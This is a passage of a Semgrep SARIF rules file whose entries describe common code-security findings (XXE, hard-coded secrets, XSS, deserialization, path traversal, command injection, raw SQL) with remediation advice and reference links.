parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"help":{"markdown":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active)\n - [https://cwe.mitre.org/data/definitions/778.html](https://cwe.mitre.org/data/definitions/778.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode)\n - [https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html](https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html)\n","text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","id":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","name":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","id":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","name":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"help":{"markdown":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to)\n - [https://brakemanscanner.org/docs/warning_types/link_to/](https://brakemanscanner.org/docs/warning_types/link_to/)\n - [https://brakemanscanner.org/docs/warning_types/link_to_href/](https://brakemanscanner.org/docs/warning_types/link_to_href/)\n","text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","id":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","name":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","id":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","name":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"help":{"markdown":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode)\n","text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"help":{"markdown":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n","text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","id":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","name":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","id":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","name":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","id":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","name":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","id":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","name":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","id":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","name":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec","id":"python.lang.security.dangerous-os-exec.dangerous-os-exec","name":"python.lang.security.dangerous-os-exec.dangerous-os-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-os-exec.dangerous-os-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","id":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","name":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"help":{"markdown":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions)\n - 